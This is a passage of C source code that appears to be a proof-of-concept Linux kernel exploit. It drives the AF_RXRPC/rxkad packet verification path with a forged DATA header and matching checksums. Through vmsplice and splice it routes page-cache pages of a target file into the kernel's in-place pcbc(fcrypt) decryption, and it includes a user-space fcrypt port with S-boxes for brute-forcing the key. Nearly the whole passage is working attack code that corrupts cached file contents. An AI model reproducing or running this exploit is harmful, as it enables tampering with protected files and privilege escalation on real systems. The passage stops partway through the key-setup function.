"pcbc(fcrypt)"); 822 if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { 823 WARN("bind(AF_ALG pcbc(fcrypt)): %s", strerror(errno)); 824 close(s); 825 return -1; 826 } 827 if (setsockopt(s, SOL_ALG, ALG_SET_KEY, key, 8) < 0) { 828 WARN("ALG_SET_KEY: %s", strerror(errno)); 829 close(s); 830 return -1; 831 } 832 return s; 833 } 834 835 /* Encrypt-or-decrypt a 1+ block of data with a given IV. */ 836 static int alg_op(int alg_s, int op, const uint8_t iv[8], const void *in, size_t inlen, void *out) { 837 int op_fd = accept(alg_s, NULL, NULL); 838 if (op_fd < 0) { 839 WARN("accept(AF_ALG): %s", strerror(errno)); 840 return -1; 841 } 842 843 char cbuf[CMSG_SPACE(sizeof(int)) + CMSG_SPACE(sizeof(struct af_alg_iv) + 8)] = {0}; 844 struct msghdr msg = {0}; 845 msg.msg_control = cbuf; 846 msg.msg_controllen = sizeof(cbuf); 847 848 struct cmsghdr *c = CMSG_FIRSTHDR(&msg); 849 c->cmsg_level = SOL_ALG; 850 c->cmsg_type = ALG_SET_OP; 851 c->cmsg_len = CMSG_LEN(sizeof(int)); 852 *(int *)CMSG_DATA(c) = op; 853 854 c = CMSG_NXTHDR(&msg, c); 855 c->cmsg_level = SOL_ALG; 856 c->cmsg_type = ALG_SET_IV; 857 c->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + 8); 858 struct af_alg_iv *aiv = (struct af_alg_iv *)CMSG_DATA(c); 859 aiv->ivlen = 8; 860 memcpy(aiv->iv, iv, 8); 861 862 struct iovec iov = {.iov_base = (void *)in, .iov_len = inlen}; 863 msg.msg_iov = &iov; 864 msg.msg_iovlen = 1; 865 866 if (sendmsg(op_fd, &msg, 0) < 0) { 867 WARN("AF_ALG sendmsg: %s", strerror(errno)); 868 close(op_fd); 869 return -1; 870 } 871 ssize_t n = read(op_fd, out, inlen); 872 close(op_fd); 873 if (n != (ssize_t)inlen) { 874 WARN("AF_ALG read got %zd want %zu: %s", n, inlen, strerror(errno)); 875 return -1; 876 } 877 return 0; 878 } 879 880 /* Compute conn->rxkad.csum_iv (ref: rxkad_prime_packet_security): 881 * tmpbuf[0..3] = htonl(epoch, cid, 0, security_ix) (16 B) 882 * PCBC-encrypt(tmpbuf, IV=session_key) → out[16] 883 * csum_iv = out[8..15] (last 8 B = "tmpbuf[2..3]" after encryption) 884 */ 885 static int compute_csum_iv(uint32_t epoch, uint32_t cid, uint32_t sec_ix, const uint8_t key[8], uint8_t csum_iv[8]) { 886 int s = alg_open_pcbc_fcrypt(key); 887 if (s < 0) return -1; 888 uint32_t in[4] = {htonl(epoch), htonl(cid), 0, htonl(sec_ix)}; 889 uint8_t out[16]; 890 int rc = alg_op(s, ALG_OP_ENCRYPT, key, in, 16, out); 891 close(s); 892 if (rc < 0) return -1; 893 memcpy(csum_iv, out + 8, 8); 894 return 0; 895 } 896 897 /* Compute the wire cksum (ref: rxkad_secure_packet @rxkad.c:342): 898 * x = (cid_low2 << 30) | (seq & 0x3fffffff) 899 * buf[0] = htonl(call_id), buf[1] = htonl(x) (8 B) 900 * PCBC-encrypt(buf, IV=csum_iv) → enc[8] 901 * y = ntohl(enc[1]); cksum = (y >> 16) & 0xffff; if zero -> 1 902 */ 903 static int compute_cksum(uint32_t cid, uint32_t call_id, uint32_t seq, const uint8_t key[8], const uint8_t csum_iv[8], 904 uint16_t *cksum_out) { 905 int s = alg_open_pcbc_fcrypt(key); 906 if (s < 0) return -1; 907 uint32_t x = (cid & RXRPC_CHANNELMASK) << (32 - RXRPC_CIDSHIFT); 908 x |= seq & 0x3fffffff; 909 uint32_t in[2] = {htonl(call_id), htonl(x)}; 910 uint32_t out[2]; 911 int rc = alg_op(s, ALG_OP_ENCRYPT, csum_iv, in, 8, out); 912 close(s); 913 if (rc < 0) return -1; 914 uint32_t y = ntohl(out[1]); 915 uint16_t v = (y >> 16) & 0xffff; 916 if (v == 0) v = 1; 917 *cksum_out = v; 918 return 0; 919 } 920 921 /* =================================================================== */ 922 /* AF_RXRPC client */ 923 /* =================================================================== */ 924 925 static int setup_rxrpc_client(uint16_t local_port, const char *keyname) { 926 int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); 927 if (fd < 0) { 928 WARN("socket(AF_RXRPC client): %s", strerror(errno)); 929 return -1; 930 } 931 if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY, keyname, strlen(keyname)) < 0) { 932 WARN("client SECURITY_KEY: %s", strerror(errno)); 933 close(fd); 934 return -1; 935 } 936 int min_level = RXRPC_SECURITY_AUTH; 937 if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL, &min_level, sizeof(min_level)) < 0) { 938 WARN("client MIN_SECURITY_LEVEL: %s", strerror(errno)); 939 close(fd); 940 return -1; 941 } 942 struct sockaddr_rxrpc srx = {0}; 943 srx.srx_family = AF_RXRPC; 944 srx.srx_service = 0; 945 srx.transport_type = SOCK_DGRAM; 946 srx.transport_len = sizeof(struct sockaddr_in); 947 srx.transport.sin.sin_family = AF_INET; 948 srx.transport.sin.sin_port = htons(local_port); 949 srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001); 950 if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) { 951 WARN("client bind :%u: %s", local_port, strerror(errno)); 952 close(fd); 953 return -1; 954 } 955 LOG("AF_RXRPC client bound :%u", local_port); 956 return fd; 957 } 958 959 static int rxrpc_client_initiate_call(int cli_fd, uint16_t srv_port, uint16_t service_id, unsigned long user_call_id) { 960 char data[8] = "PINGPING"; 961 struct sockaddr_rxrpc srx = {0}; 962 srx.srx_family = AF_RXRPC; 963 srx.srx_service = service_id; 964 srx.transport_type = SOCK_DGRAM; 965 srx.transport_len = sizeof(struct sockaddr_in); 966 srx.transport.sin.sin_family = AF_INET; 967 srx.transport.sin.sin_port = htons(srv_port); 968 srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001); 969 970 char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))]; 971 struct msghdr msg = {0}; 972 msg.msg_name = &srx; 973 msg.msg_namelen = sizeof(srx); 974 struct iovec iov = {.iov_base = data, .iov_len = sizeof(data)}; 975 msg.msg_iov = &iov; 976 msg.msg_iovlen = 1; 977 msg.msg_control = cmsg_buf; 978 msg.msg_controllen = sizeof(cmsg_buf); 979 struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg); 980 cmsg->cmsg_level = SOL_RXRPC; 981 cmsg->cmsg_type = RXRPC_USER_CALL_ID; 982 cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long)); 983 *(unsigned long *)CMSG_DATA(cmsg) = user_call_id; 984 985 /* Don't block forever if no reply ever comes through this single sendmsg. */ 986 int fl = fcntl(cli_fd, F_GETFL); 987 fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK); 988 989 ssize_t n = sendmsg(cli_fd, &msg, 0); 990 fcntl(cli_fd, F_SETFL, fl); 991 if (n < 0) { 992 if (errno == EAGAIN || errno == EWOULDBLOCK) { 993 LOG("client sendmsg returned EAGAIN (expected; kernel will keep " 994 "retrying handshake)"); 995 return 0; 996 } 997 WARN("client sendmsg: %s", strerror(errno)); 998 return -1; 999 } 1000 LOG("client sendmsg %zd B → :%u (handshake will follow asynchronously)", n, srv_port); 1001 return 0; 1002 } 1003 1004 /* =================================================================== */ 1005 /* fake-server (plain UDP) */ 1006 /* =================================================================== */ 1007 1008 static int setup_udp_server(uint16_t port) { 1009 int s = socket(AF_INET, SOCK_DGRAM, 0); 1010 if (s < 0) { 1011 WARN("socket(udp server): %s", strerror(errno)); 1012 return -1; 1013 } 1014 struct sockaddr_in sa = {0}; 1015 sa.sin_family = AF_INET; 1016 sa.sin_port = htons(port); 1017 sa.sin_addr.s_addr = htonl(0x7F000001); 1018 if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { 1019 WARN("udp server bind :%u: %s", port, strerror(errno)); 1020 close(s); 1021 return -1; 1022 } 1023 LOG("plain UDP fake-server bound :%u", port); 1024 return s; 1025 } 1026 1027 /* Receive one UDP datagram with timeout (ms). Returns bytes or -1. */ 1028 static ssize_t udp_recv_to(int s, void *buf, size_t cap, struct sockaddr_in *from, int timeout_ms) { 1029 struct pollfd pfd = {.fd = s, .events = POLLIN}; 1030 int rc = poll(&pfd, 1, timeout_ms); 1031 if (rc <= 0) return -1; 1032 socklen_t fl = from ? sizeof(*from) : 0; 1033 return recvfrom(s, buf, cap, 0, (struct sockaddr *)from, from ? &fl : NULL); 1034 } 1035 1036 /* =================================================================== */ 1037 /* main PoC */ 1038 /* =================================================================== */ 1039 1040 static int trigger_seq = 0; 1041 1042 static int do_one_trigger(int target_fd, off_t splice_off, size_t splice_len) { 1043 char keyname[32]; 1044 snprintf(keyname, sizeof(keyname), "evil%d", trigger_seq++); 1045 1046 long key = add_rxrpc_key(keyname); 1047 if (key < 0) { 1048 if (trigger_seq < 5) WARN("add_rxrpc_key(%s): %s", keyname, strerror(errno)); 1049 return -1; 1050 } 1051 1052 /* Use varying ports so kernel TIME_WAIT / stale state does not bite. */ 1053 uint16_t port_S = 7777 + (trigger_seq * 2 % 200); 1054 uint16_t port_C = port_S + 1; 1055 uint16_t svc_id = 1234; 1056 1057 int udp_srv = setup_udp_server(port_S); 1058 if (udp_srv < 0) { 1059 if (trigger_seq < 5) WARN("setup_udp_server(%u) failed", port_S); 1060 syscall(SYS_keyctl, 3 /*KEYCTL_INVALIDATE*/, key); 1061 return -1; 1062 } 1063 1064 int rxsk_cli = setup_rxrpc_client(port_C, keyname); 1065 if (rxsk_cli < 0) { 1066 if (trigger_seq < 5) WARN("setup_rxrpc_client(%u, %s) failed", port_C, keyname); 1067 close(udp_srv); 1068 syscall(SYS_keyctl, 3, key); 1069 return -1; 1070 } 1071 1072 if (rxrpc_client_initiate_call(rxsk_cli, port_S, svc_id, 0xDEAD) < 0) { 1073 if (trigger_seq < 5) WARN("rxrpc_client_initiate_call failed"); 1074 close(rxsk_cli); 1075 close(udp_srv); 1076 syscall(SYS_keyctl, 3, key); 1077 return -1; 1078 } 1079 1080 uint8_t pkt[2048]; 1081 struct sockaddr_in cli_addr; 1082 ssize_t n = udp_recv_to(udp_srv, pkt, sizeof(pkt), &cli_addr, 1500); 1083 if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) { 1084 if (trigger_seq < 5) WARN("udp_recv_to: n=%zd errno=%s", n, strerror(errno)); 1085 close(rxsk_cli); 1086 close(udp_srv); 1087 syscall(SYS_keyctl, 3, key); 1088 return -1; 1089 } 1090 struct rxrpc_wire_header *whdr_in = (struct rxrpc_wire_header *)pkt; 1091 uint32_t epoch = ntohl(whdr_in->epoch); 1092 uint32_t cid = ntohl(whdr_in->cid); 1093 uint32_t callN = ntohl(whdr_in->callNumber); 1094 uint16_t svc_in = ntohs(whdr_in->serviceId); 1095 uint16_t cli_port = ntohs(cli_addr.sin_port); 1096 1097 /* Send CHALLENGE */ 1098 { 1099 struct { 1100 struct rxrpc_wire_header hdr; 1101 struct rxkad_challenge ch; 1102 } __attribute__((packed)) c = {0}; 1103 c.hdr.epoch = htonl(epoch); 1104 c.hdr.cid = htonl(cid); 1105 c.hdr.callNumber = 0; 1106 c.hdr.seq = 0; 1107 c.hdr.serial = htonl(0x10000); 1108 c.hdr.type = RXRPC_PACKET_TYPE_CHALLENGE; 1109 c.hdr.securityIndex = 2; 1110 c.hdr.serviceId = htons(svc_in); 1111 c.ch.version = htonl(2); 1112 c.ch.nonce = htonl(0xDEADBEEFu); 1113 c.ch.min_level = htonl(1); 1114 struct sockaddr_in to = {.sin_family = AF_INET, .sin_port = htons(cli_port), .sin_addr.s_addr = htonl(0x7F000001)}; 1115 if (sendto(udp_srv, &c, sizeof(c), 0, (struct sockaddr *)&to, sizeof(to)) < 0) { 1116 close(rxsk_cli); 1117 close(udp_srv); 1118 syscall(SYS_keyctl, 3, key); 1119 return -1; 1120 } 1121 } 1122 1123 /* Drain RESPONSE (best-effort) */ 1124 for (int i = 0; i < 4; i++) { 1125 struct sockaddr_in src; 1126 if (udp_recv_to(udp_srv, pkt, sizeof(pkt), &src, 500) < 0) break; 1127 } 1128 1129 /* csum + cksum with CURRENT SESSION_KEY */ 1130 uint8_t csum_iv[8] = {0}; 1131 if (compute_csum_iv(epoch, cid, 2, SESSION_KEY, csum_iv) < 0) { 1132 close(rxsk_cli); 1133 close(udp_srv); 1134 syscall(SYS_keyctl, 3, key); 1135 return -1; 1136 } 1137 uint16_t cksum_h = 0; 1138 if (compute_cksum(cid, callN, 1, SESSION_KEY, csum_iv, &cksum_h) < 0) { 1139 close(rxsk_cli); 1140 close(udp_srv); 1141 syscall(SYS_keyctl, 3, key); 1142 return -1; 1143 } 1144 1145 /* Build malicious DATA header */ 1146 struct rxrpc_wire_header mal = {0}; 1147 mal.epoch = htonl(epoch); 1148 mal.cid = htonl(cid); 1149 mal.callNumber = htonl(callN); 1150 mal.seq = htonl(1); 1151 mal.serial = htonl(0x42000); 1152 mal.type = RXRPC_PACKET_TYPE_DATA; 1153 mal.flags = RXRPC_LAST_PACKET; 1154 mal.securityIndex = 2; 1155 mal.cksum = htons(cksum_h); 1156 mal.serviceId = htons(svc_in); 1157 1158 /* connect udp_srv → client port for splice */ 1159 struct sockaddr_in dst = {.sin_family = AF_INET, .sin_port = htons(cli_port), .sin_addr.s_addr = htonl(0x7F000001)}; 1160 if (connect(udp_srv, (struct sockaddr *)&dst, sizeof(dst)) < 0) { 1161 close(rxsk_cli); 1162 close(udp_srv); 1163 syscall(SYS_keyctl, 3, key); 1164 return -1; 1165 } 1166 1167 /* pipe + vmsplice header + splice file → pipe → udp_srv */ 1168 int p[2]; 1169 if (pipe(p) < 0) { 1170 close(rxsk_cli); 1171 close(udp_srv); 1172 syscall(SYS_keyctl, 3, key); 1173 return -1; 1174 } 1175 { 1176 struct iovec viv = {.iov_base = &mal, .iov_len = sizeof(mal)}; 1177 if (vmsplice(p[1], &viv, 1, 0) < 0) goto trig_fail; 1178 } 1179 { 1180 loff_t off = splice_off; 1181 if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0) goto trig_fail; 1182 } 1183 if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0) { 1184 goto trig_fail; 1185 } 1186 close(p[0]); 1187 close(p[1]); 1188 1189 /* recvmsg the malicious DATA into the kernel's verify_packet path */ 1190 int fl = fcntl(rxsk_cli, F_GETFL); 1191 fcntl(rxsk_cli, F_SETFL, fl | O_NONBLOCK); 1192 for (int round = 0; round < 5; round++) { 1193 char rb[2048]; 1194 struct sockaddr_rxrpc srx; 1195 char ccb[256]; 1196 struct msghdr m = {0}; 1197 struct iovec iv = {.iov_base = rb, .iov_len = sizeof(rb)}; 1198 m.msg_name = &srx; 1199 m.msg_namelen = sizeof(srx); 1200 m.msg_iov = &iv; 1201 m.msg_iovlen = 1; 1202 m.msg_control = ccb; 1203 m.msg_controllen = sizeof(ccb); 1204 ssize_t r = recvmsg(rxsk_cli, &m, 0); 1205 if (r > 0) break; 1206 if (errno == EAGAIN || errno == EWOULDBLOCK) 1207 usleep(20000); 1208 else 1209 break; 1210 } 1211 fcntl(rxsk_cli, F_SETFL, fl); 1212 1213 close(rxsk_cli); 1214 close(udp_srv); 1215 syscall(SYS_keyctl, 3, key); 1216 return 0; 1217 1218 trig_fail: 1219 close(p[0]); 1220 close(p[1]); 1221 close(rxsk_cli); 1222 close(udp_srv); 1223 syscall(SYS_keyctl, 3, key); 1224 return -1; 1225 } 1226 1227 /* =================================================================== 1228 * USER-SPACE pcbc(fcrypt) BRUTE-FORCE 1229 * 1230 * The kernel's rxkad_verify_packet_1() does an in-place 8-byte 1231 * pcbc(fcrypt) decrypt with iv=0 over the page-cache page at the splice 1232 * offset. pcbc with single 8-B block and IV=0 reduces to a plain 1233 * fcrypt_decrypt(C, K). We can therefore search for the right K 1234 * entirely in user-space — without touching the kernel/VM at all — 1235 * before applying ONE deterministic kernel trigger. 1236 * 1237 * Port of crypto/fcrypt.c from the kernel source (David Howells / KTH). 1238 * Verified against kernel test vectors: 1239 * K=0, decrypt(0E0900C73EF7ED41) = 00000000 1240 * K=1144...66, decrypt(D8ED787477EC0680) = 123456789ABCDEF0 1241 * =================================================================== */ 1242 1243 static const uint8_t fc_sbox0_raw[256] = { 1244 0xea, 0x7f, 0xb2, 0x64, 0x9d, 0xb0, 0xd9, 0x11, 0xcd, 0x86, 0x86, 0x91, 0x0a, 0xb2, 0x93, 0x06, 0x0e, 0x06, 0xd2, 1245 0x65, 0x73, 0xc5, 0x28, 0x60, 0xf2, 0x20, 0xb5, 0x38, 0x7e, 0xda, 0x9f, 0xe3, 0xd2, 0xcf, 0xc4, 0x3c, 0x61, 0xff, 1246 0x4a, 0x4a, 0x35, 0xac, 0xaa, 0x5f, 0x2b, 0xbb, 0xbc, 0x53, 0x4e, 0x9d, 0x78, 0xa3, 0xdc, 0x09, 0x32, 0x10, 0xc6, 1247 0x6f, 0x66, 0xd6, 0xab, 0xa9, 0xaf, 0xfd, 0x3b, 0x95, 0xe8, 0x34, 0x9a, 0x81, 0x72, 0x80, 0x9c, 0xf3, 0xec, 0xda, 1248 0x9f, 0x26, 0x76, 0x15, 0x3e, 0x55, 0x4d, 0xde, 0x84, 0xee, 0xad, 0xc7, 0xf1, 0x6b, 0x3d, 0xd3, 0x04, 0x49, 0xaa, 1249 0x24, 0x0b, 0x8a, 0x83, 0xba, 0xfa, 0x85, 0xa0, 0xa8, 0xb1, 0xd4, 0x01, 0xd8, 0x70, 0x64, 0xf0, 0x51, 0xd2, 0xc3, 1250 0xa7, 0x75, 0x8c, 0xa5, 0x64, 0xef, 0x10, 0x4e, 0xb7, 0xc6, 0x61, 0x03, 0xeb, 0x44, 0x3d, 0xe5, 0xb3, 0x5b, 0xae, 1251 0xd5, 0xad, 0x1d, 0xfa, 0x5a, 0x1e, 0x33, 0xab, 0x93, 0xa2, 0xb7, 0xe7, 0xa8, 0x45, 0xa4, 0xcd, 0x29, 0x63, 0x44, 1252 0xb6, 0x69, 0x7e, 0x2e, 0x62, 0x03, 0xc8, 0xe0, 0x17, 0xbb, 0xc7, 0xf3, 0x3f, 0x36, 0xba, 0x71, 0x8e, 0x97, 0x65, 1253 0x60, 0x69, 0xb6, 0xf6, 0xe6, 0x6e, 0xe0, 0x81, 0x59, 0xe8, 0xaf, 0xdd, 0x95, 0x22, 0x99, 0xfd, 0x63, 0x19, 0x74, 1254 0x61, 0xb1, 0xb6, 0x5b, 0xae, 0x54, 0xb3, 0x70, 0xff, 0xc6, 0x3b, 0x3e, 0xc1, 0xd7, 0xe1, 0x0e, 0x76, 0xe5, 0x36, 1255 0x4f, 0x59, 0xc7, 0x08, 0x6e, 0x82, 0xa6, 0x93, 0xc4, 0xaa, 0x26, 0x49, 0xe0, 0x21, 0x64, 0x07, 0x9f, 0x64, 0x81, 1256 0x9c, 0xbf, 0xf9, 0xd1, 0x43, 0xf8, 0xb6, 0xb9, 0xf1, 0x24, 0x75, 0x03, 0xe4, 0xb0, 0x99, 0x46, 0x3d, 0xf5, 0xd1, 1257 0x39, 0x72, 0x12, 0xf6, 0xba, 0x0c, 0x0d, 0x42, 0x2e, 1258 }; 1259 static const uint8_t fc_sbox1_raw[256] = { 1260 0x77, 0x14, 0xa6, 0xfe, 0xb2, 0x5e, 0x8c, 0x3e, 0x67, 0x6c, 0xa1, 0x0d, 0xc2, 0xa2, 0xc1, 0x85, 0x6c, 0x7b, 0x67, 1261 0xc6, 0x23, 0xe3, 0xf2, 0x89, 0x50, 0x9c, 0x03, 0xb7, 0x73, 0xe6, 0xe1, 0x39, 0x31, 0x2c, 0x27, 0x9f, 0xa5, 0x69, 1262 0x44, 0xd6, 0x23, 0x83, 0x98, 0x7d, 0x3c, 0xb4, 0x2d, 0x99, 0x1c, 0x1f, 0x8c, 0x20, 0x03, 0x7c, 0x5f, 0xad, 0xf4, 1263 0xfa, 0x95, 0xca, 0x76, 0x44, 0xcd, 0xb6, 0xb8, 0xa1, 0xa1, 0xbe, 0x9e, 0x54, 0x8f, 0x0b, 0x16, 0x74, 0x31, 0x8a, 1264 0x23, 0x17, 0x04, 0xfa, 0x79, 0x84, 0xb1, 0xf5, 0x13, 0xab, 0xb5, 0x2e, 0xaa, 0x0c, 0x60, 0x6b, 0x5b, 0xc4, 0x4b, 1265 0xbc, 0xe2, 0xaf, 0x45, 0x73, 0xfa, 0xc9, 0x49, 0xcd, 0x00, 0x92, 0x7d, 0x97, 0x7a, 0x18, 0x60, 0x3d, 0xcf, 0x5b, 1266 0xde, 0xc6, 0xe2, 0xe6, 0xbb, 0x8b, 0x06, 0xda, 0x08, 0x15, 0x1b, 0x88, 0x6a, 0x17, 0x89, 0xd0, 0xa9, 0xc1, 0xc9, 1267 0x70, 0x6b, 0xe5, 0x43, 0xf4, 0x68, 0xc8, 0xd3, 0x84, 0x28, 0x0a, 0x52, 0x66, 0xa3, 0xca, 0xf2, 0xe3, 0x7f, 0x7a, 1268 0x31, 0xf7, 0x88, 0x94, 0x5e, 0x9c, 0x63, 0xd5, 0x24, 0x66, 0xfc, 0xb3, 0x57, 0x25, 0xbe, 0x89, 0x44, 0xc4, 0xe0, 1269 0x8f, 0x23, 0x3c, 0x12, 0x52, 0xf5, 0x1e, 0xf4, 0xcb, 0x18, 0x33, 0x1f, 0xf8, 0x69, 0x10, 0x9d, 0xd3, 0xf7, 0x28, 1270 0xf8, 0x30, 0x05, 0x5e, 0x32, 0xc0, 0xd5, 0x19, 0xbd, 0x45, 0x8b, 0x5b, 0xfd, 0xbc, 0xe2, 0x5c, 0xa9, 0x96, 0xef, 1271 0x70, 0xcf, 0xc2, 0x2a, 0xb3, 0x61, 0xad, 0x80, 0x48, 0x81, 0xb7, 0x1d, 0x43, 0xd9, 0xd7, 0x45, 0xf0, 0xd8, 0x8a, 1272 0x59, 0x7c, 0x57, 0xc1, 0x79, 0xc7, 0x34, 0xd6, 0x43, 0xdf, 0xe4, 0x78, 0x16, 0x06, 0xda, 0x92, 0x76, 0x51, 0xe1, 1273 0xd4, 0x70, 0x03, 0xe0, 0x2f, 0x96, 0x91, 0x82, 0x80, 1274 }; 1275 static const uint8_t fc_sbox2_raw[256] = { 1276 0xf0, 0x37, 0x24, 0x53, 0x2a, 0x03, 0x83, 0x86, 0xd1, 0xec, 0x50, 0xf0, 0x42, 0x78, 0x2f, 0x6d, 0xbf, 0x80, 0x87, 1277 0x27, 0x95, 0xe2, 0xc5, 0x5d, 0xf9, 0x6f, 0xdb, 0xb4, 0x65, 0x6e, 0xe7, 0x24, 0xc8, 0x1a, 0xbb, 0x49, 0xb5, 0x0a, 1278 0x7d, 0xb9, 0xe8, 0xdc, 0xb7, 0xd9, 0x45, 0x20, 0x1b, 0xce, 0x59, 0x9d, 0x6b, 0xbd, 0x0e, 0x8f, 0xa3, 0xa9, 0xbc, 1279 0x74, 0xa6, 0xf6, 0x7f, 0x5f, 0xb1, 0x68, 0x84, 0xbc, 0xa9, 0xfd, 0x55, 0x50, 0xe9, 0xb6, 0x13, 0x5e, 0x07, 0xb8, 1280 0x95, 0x02, 0xc0, 0xd0, 0x6a, 0x1a, 0x85, 0xbd, 0xb6, 0xfd, 0xfe, 0x17, 0x3f, 0x09, 0xa3, 0x8d, 0xfb, 0xed, 0xda, 1281 0x1d, 0x6d, 0x1c, 0x6c, 0x01, 0x5a, 0xe5, 0x71, 0x3e, 0x8b, 0x6b, 0xbe, 0x29, 0xeb, 0x12, 0x19, 0x34, 0xcd, 0xb3, 1282 0xbd, 0x35, 0xea, 0x4b, 0xd5, 0xae, 0x2a, 0x79, 0x5a, 0xa5, 0x32, 0x12, 0x7b, 0xdc, 0x2c, 0xd0, 0x22, 0x4b, 0xb1, 1283 0x85, 0x59, 0x80, 0xc0, 0x30, 0x9f, 0x73, 0xd3, 0x14, 0x48, 0x40, 0x07, 0x2d, 0x8f, 0x80, 0x0f, 0xce, 0x0b, 0x5e, 1284 0xb7, 0x5e, 0xac, 0x24, 0x94, 0x4a, 0x18, 0x15, 0x05, 0xe8, 0x02, 0x77, 0xa9, 0xc7, 0x40, 0x45, 0x89, 0xd1, 0xea, 1285 0xde, 0x0c, 0x79, 0x2a, 0x99, 0x6c, 0x3e, 0x95, 0xdd, 0x8c, 0x7d, 0xad, 0x6f, 0xdc, 0xff, 0xfd, 0x62, 0x47, 0xb3, 1286 0x21, 0x8a, 0xec, 0x8e, 0x19, 0x18, 0xb4, 0x6e, 0x3d, 0xfd, 0x74, 0x54, 0x1e, 0x04, 0x85, 0xd8, 0xbc, 0x1f, 0x56, 1287 0xe7, 0x3a, 0x56, 0x67, 0xd6, 0xc8, 0xa5, 0xf3, 0x8e, 0xde, 0xae, 0x37, 0x49, 0xb7, 0xfa, 0xc8, 0xf4, 0x1f, 0xe0, 1288 0x2a, 0x9b, 0x15, 0xd1, 0x34, 0x0e, 0xb5, 0xe0, 0x44, 0x78, 0x84, 0x59, 0x56, 0x68, 0x77, 0xa5, 0x14, 0x06, 0xf5, 1289 0x2f, 0x8c, 0x8a, 0x73, 0x80, 0x76, 0xb4, 0x10, 0x86, 1290 }; 1291 static const uint8_t fc_sbox3_raw[256] = { 1292 0xa9, 0x2a, 0x48, 0x51, 0x84, 0x7e, 0x49, 0xe2, 0xb5, 0xb7, 0x42, 0x33, 0x7d, 0x5d, 0xa6, 0x12, 0x44, 0x48, 0x6d, 1293 0x28, 0xaa, 0x20, 0x6d, 0x57, 0xd6, 0x6b, 0x5d, 0x72, 0xf0, 0x92, 0x5a, 0x1b, 0x53, 0x80, 0x24, 0x70, 0x9a, 0xcc, 1294 0xa7, 0x66, 0xa1, 0x01, 0xa5, 0x41, 0x97, 0x41, 0x31, 0x82, 0xf1, 0x14, 0xcf, 0x53, 0x0d, 0xa0, 0x10, 0xcc, 0x2a, 1295 0x7d, 0xd2, 0xbf, 0x4b, 0x1a, 0xdb, 0x16, 0x47, 0xf6, 0x51, 0x36, 0xed, 0xf3, 0xb9, 0x1a, 0xa7, 0xdf, 0x29, 0x43, 1296 0x01, 0x54, 0x70, 0xa4, 0xbf, 0xd4, 0x0b, 0x53, 0x44, 0x60, 0x9e, 0x23, 0xa1, 0x18, 0x68, 0x4f, 0xf0, 0x2f, 0x82, 1297 0xc2, 0x2a, 0x41, 0xb2, 0x42, 0x0c, 0xed, 0x0c, 0x1d, 0x13, 0x3a, 0x3c, 0x6e, 0x35, 0xdc, 0x60, 0x65, 0x85, 0xe9, 1298 0x64, 0x02, 0x9a, 0x3f, 0x9f, 0x87, 0x96, 0xdf, 0xbe, 0xf2, 0xcb, 0xe5, 0x6c, 0xd4, 0x5a, 0x83, 0xbf, 0x92, 0x1b, 1299 0x94, 0x00, 0x42, 0xcf, 0x4b, 0x00, 0x75, 0xba, 0x8f, 0x76, 0x5f, 0x5d, 0x3a, 0x4d, 0x09, 0x12, 0x08, 0x38, 0x95, 1300 0x17, 0xe4, 0x01, 0x1d, 0x4c, 0xa9, 0xcc, 0x85, 0x82, 0x4c, 0x9d, 0x2f, 0x3b, 0x66, 0xa1, 0x34, 0x10, 0xcd, 0x59, 1301 0x89, 0xa5, 0x31, 0xcf, 0x05, 0xc8, 0x84, 0xfa, 0xc7, 0xba, 0x4e, 0x8b, 0x1a, 0x19, 0xf1, 0xa1, 0x3b, 0x18, 0x12, 1302 0x17, 0xb0, 0x98, 0x8d, 0x0b, 0x23, 0xc3, 0x3a, 0x2d, 0x20, 0xdf, 0x13, 0xa0, 0xa8, 0x4c, 0x0d, 0x6c, 0x2f, 0x47, 1303 0x13, 0x13, 0x52, 0x1f, 0x2d, 0xf5, 0x79, 0x3d, 0xa2, 0x54, 0xbd, 0x69, 0xc8, 0x6b, 0xf3, 0x05, 0x28, 0xf1, 0x16, 1304 0x46, 0x40, 0xb0, 0x11, 0xd3, 0xb7, 0x95, 0x49, 0xcf, 0xc3, 0x1d, 0x8f, 0xd8, 0xe1, 0x73, 0xdb, 0xad, 0xc8, 0xc9, 1305 0xa9, 0xa1, 0xc2, 0xc5, 0xe3, 0xba, 0xfc, 0x0e, 0x25, 1306 }; 1307 1308 static uint32_t fc_sbox0[256], fc_sbox1[256], fc_sbox2[256], fc_sbox3[256]; 1309 1310 #include <endian.h> 1311 1312 static void fcrypt_init_sboxes(void) { 1313 for (int i = 0; i < 256; i++) { 1314 fc_sbox0[i] = htobe32((uint32_t)fc_sbox0_raw[i] << 3); 1315 fc_sbox1[i] = htobe32(((uint32_t)(fc_sbox1_raw[i] & 0x1f) << 27) | ((uint32_t)fc_sbox1_raw[i] >> 5)); 1316 fc_sbox2[i] = htobe32((uint32_t)fc_sbox2_raw[i] << 11); 1317 fc_sbox3[i] = htobe32((uint32_t)fc_sbox3_raw[i] << 19); 1318 } 1319 } 1320 1321 #define fc_ror56_64(k, n) (k = (k >> (n)) | ((k & ((1ULL << (n)) - 1)) << (56 - (n)))) 1322 1323 typedef struct { 1324 uint32_t sched[16]; 1325 } fcrypt_uctx; 1326 1327 static void fcrypt_user_setkey(fcrypt_uctx *ctx, const uint8_t key[8]) { 1328 uint64_t k = 0; 1329 k = (uint64_t)(key[0] >> 1); 1330 k <<= 7; 1331 k |= (uint64_t)(key[1] >> 1); 1332 k <<= 7; 1333 k |= (uint64_t)(key[2] >> 1); 1334 k <<= 7; 1335 k |= (uint64_t)(key[3] >> 1); 1336 k <<= 7; 1337 k |= (uint64_t)(key[4] >> 1); 1338 k <<= 7; 1339 k |= (uint64_t)(key[5] >> 1); 1340 k <<= 7; 1341 k |= (uint64_t)(key[6] >> 1); 1342 k <<= 7; 